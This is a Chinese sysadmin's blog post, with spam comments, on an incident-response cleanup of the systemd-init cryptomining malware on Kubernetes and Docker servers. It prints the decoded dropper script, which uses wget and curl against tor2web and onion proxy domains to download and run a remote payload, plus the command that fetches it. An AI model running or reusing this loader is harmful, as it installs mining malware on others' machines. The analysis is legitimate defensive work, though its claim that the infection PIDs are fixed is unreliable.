今天接到了报警,一台内部的服务器CPU负载嗷嗷的高,感到非常的疑惑,就点进去看看负载情况
监控诚不欺我,果然是CPU跑爆了,然后看看Command,发现都是M开头的,这肯定就是病毒了,就开始处理
发现运行最长的进程PID是32336,就拿它下刀开始查
发现,毛都查不到,就开始按照常规开始查crontab、rc.local,结果有发现
这是个非常令人蛋疼东东,就去看看里面到底写了什么
这次的病毒比上次处理的要高明多了,还知道用BASE64加密一下,但是然并卵,分分钟解密出来了,稍微研究了下发现关键点是这么一句:
if ! ls /proc/$(cat /tmp/.X11-unix/0)/io; then
/tmp/.X11-unix/0 这个文件应该是不存在的,这里既然有这个,那就开始处理一下,发觉/tmp/.X11-unix/下面有 0 1 2 三个文件夹,对应的三个PID
发觉还是查不到,但是起码知道了4fmW2Z这个进程是关键,然后就开始该删除的删除,该停止的停止
注释掉crontab里面的任务,kill掉三个进程,删除掉/tmp/.X11-unix里的文件,再看服务器恢复了正常
然后就是继续观察,看看还会不会起来新的进程
这次的病毒明显比上次的病毒要牛逼,但是貌似三个PID是固定的,9581、15755和32336,以后如果有人发现了这三个病毒,直接咔掉就好,就不需要另行烦恼了
然后深入的分析一下病毒是几个意思,从crontab里面的脚本摘出wget命令下载一下,起了一个docker容器开始搞
# wget -t1 -T180 -qU- -O–no-check-certificate intelbagjop7nzm5.tor2web.io/crn || curl -m180 -fsSLkA- intelbagjop7nzm5.tor2web.io/crn
crn脚本会下载int脚本病毒,int病毒脚本会下载cpu脚本病毒,但是int脚本和cpu脚本都是加密的,crn脚本如下:
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
x() {
f=/int
d=./$(date|md5sum|cut -f1 -d” “)
wget -t1 -T180 -qU- –no-check-certificate $1$f -O$d || curl -m180 -fsSLkA- $1$f -o$d
chmod +x $d;$d;rm -f $d
}
d=”rm -f asdf”
touch /tmp/asdf && cd /tmp && $d
touch /var/tmp/asdf && cd /var/tmp
touch /dev/shm/asdf && cd /dev/shm && $d
touch /usr/bin/asdf && cd /usr/bin && $d
touch /opt/consul/asdf && cd /opt/consul && $d
touch /data/consul/asdf && cd /data/consul && $d
touch /var/lib/psql/asdf && cd /var/lib/psql/asdf && $d
touch /var/lib/psql/data/asdf && cd /var/lib/psql/data && $d
touch /var/lib/postgres/asdf && cd /var/lib/postgres && $d
touch /var/lib/postgres/data/asdf && cd /var/lib/postgres/data && $d
touch /var/lib/postgresql/asdf && cd /var/lib/postgresql && $d
touch /var/lib/postgresql/data/asdf && cd /var/lib/postgresql/data && $d
touch $PGDATA/asdf && cd $PGDATA && $d
for h in tor2web.io d2web.org onion.in.net onion.glass onion.mn onion.to onion.sh onion.ws
do
if ! ls /proc/$(cat /tmp/.X11-unix/0)/io; then
x intelbagjop7nzm5.$h
else
break
fi
done
真是不看不知道,一看吓一跳,TMD给弄了这么东西,挨个研究吧,多余的就不多说了
最近病毒肆虐漏洞频发,还是及时更新为上
后续(第二天):
本以为就这一台服务器被搞了,没想到不是这一台,而是N多台服务器,目前这台服务器有权限连接的全部中招,如下图所示,我已经挨个处理过了
所有的症状都是跑满CPU,有一个计划任务的路径是/root/.systemd-init,/tmp/.X11-unix/路径下有 0 1 2 三个文件夹,三个文件夹是两个PID号,有一个文件夹是空的,在 / 路径和 /var/tmp/ 路径下有空文件asdf
如果是这样的症状,那就是跟我中的一样的病毒,还在继续研究这个病毒是从那里来的,但是中毒的这批机器,都是跑kubernetes和docker的,联想到之前kubernetes爆出的大漏洞,嗯···及时更新才是正道。
在修复过程中,意外发现了一个非常蛋疼的事情,有一台机器的crontab注释会被解开,说明crontab被复写
最终发现这台服务器根本没有动过也没有任何重启操作,应该还是计划任务的问题,然后就仔细的研究了研究crontab的文件,最终在/etc/cron.d/发现一个名为0systemd的文件。
文件内指向systemd-init文件,就看看这个文件内容是什么,结果发现确实是同一个病毒
然后查看下所有的服务器,发现确实是都有这个计划任务和病毒文件
ansible -i hosts all -m shell -a “sed -i ‘s/0/#0/g’ /etc/cron.d/0systemd” # 全部注释掉
怕还有别的就开始查询 # find / -name systemd-init -print
后续(第三天):
经过昨天晚上一晚上的检索,在/var/log/messages*里又发现了一些线索,发现利用ansible传播病毒
/usr/lib/systemd/systemd-init 又发现了一个病毒路径,真是防不胜防
然后有发现了另外的两个病毒脚本
惊奇的发现另外一个systemd-login的病毒,又遍历了一遍所有服务器,没有发现这个,幸好幸好
结合上面所有的问题和表现,最后总觉得这个2017年的病毒应该暴出来过,经过一番谷歌,发现了一篇文章,链接如下:
《利用Consul RCE漏洞传播的挖矿木马分析》
https://www.anquanke.com/post/id/173818
总算是找到了漏洞是什么,下面就是抓紧时间修补漏洞和删除病毒了
下篇文章搞一下如何删除病毒
[…] 一个名为systemd-init的CPU挖矿病毒及后续 […]
I’ve been browsing online more than 4 hours today, yet I never found any interesting article like yours.
It’s pretty worth enough for me. In my opinion,
if all webmasters and bloggers made good
content as you did, the internet will be a lot more useful than ever before.
It’s amazing for me to have a web page, which is useful for my
experience. thanks admin
Ahaa, its nice discussion regarding this post here
at this web site, I have read all that, so now me also commenting here.
[…] 上文书咱们说到: https://www.luyouli.com/?p=219 […]